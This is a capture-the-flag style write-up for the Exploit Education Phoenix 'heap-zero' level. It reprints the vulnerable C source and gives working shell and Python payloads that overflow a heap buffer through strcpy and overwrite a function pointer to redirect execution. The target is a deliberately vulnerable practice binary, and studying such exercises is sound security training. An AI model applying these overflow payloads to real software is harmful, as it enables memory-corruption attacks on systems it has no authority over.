Exploit Education | Phoenix | Heap Zero Solution

The description and source code can be found here:
http://exploit.education/phoenix/heap-zero/

This is the first of the heap exploitation levels. We can see what’s going on just by looking at the source for the main() function:

int main(int argc, char **argv) {
    struct data *d;
    struct fp *f;

    printf("%s\n", BANNER);

    if (argc < 2) {
        printf("Please specify an argument to copy :-)\n");
        exit(1);
    }

    d = malloc(sizeof(struct data));
    f = malloc(sizeof(struct fp));
    f->fp = nowinner;

    strcpy(d->name, argv[1]);

    printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp);
    fflush(stdout);

    f->fp();

    return 0;
}

Two pointers are declared right next to each other, *d and *f. Memory is allocated for them on the heap using malloc(). *f is set to point to the nowinner() function. Data is copied from the first command line argument to the *d pointer. A handy little message is displayed about the addresses these pointers have and the address that will be called. Finally, the address the *f pointer holds is called. It looks like this’ll be a simple buffer overflow exploit.

First, I’ll check the address of the winner() function to see what I need to set the *f pointer to. Of course, I’ll try this in the amd64 architecture first:

$ nm /opt/phoenix/amd64/heap-zero | grep winner
0000000000400ace T nowinner
0000000000400abd T winner

And right away I see a problem. I’ll need to put the address 0x400abd into the *f pointer. However, 0x0a is a newline character. The strcpy() function will see that, strip it, ignore anything after it, and terminate the string with a null byte. I’ll try it. First, I’ll run the program with any ‘ol input to see the addresses & calculate how much to overflow the buffer with:

$ cd /opt/phoenix/amd64/

$ ./heap-zero hello
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x400ace
level has not been passed - function pointer has not been overwritten

$ python -c 'print (0x60 - 0x10)'
80

I’ll need to input 80 junk bytes before getting to the *f pointer, which holds the address of the function to be called.

$ ./heap-zero $(python -c 'print "A"*80 + "\xbd\x0a\40"')
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x4000bd
Segmentation fault

As you can see, we ended up with 0x4000bd instead of the expected 0x400abd. I can probably get around this by putting some shellcode in the buffer that jumps to the right location, and I’ll probably come back to this and do that later. But for now, I’ll stick to the x86 architecture for the Heap levels.

$ cd /opt/phoenix/i486

$ ./heap-zero hello
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x804884e
level has not been passed - function pointer has not been overwritten

$ python -c 'print (0x50 - 0x8)'
72

$ nm heap-zero | grep winner
0804884e T nowinner
08048835 T winner

$ ./heap-zero $(python -c 'print "A"*72 + "\x35\x88\x04\x08"')
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.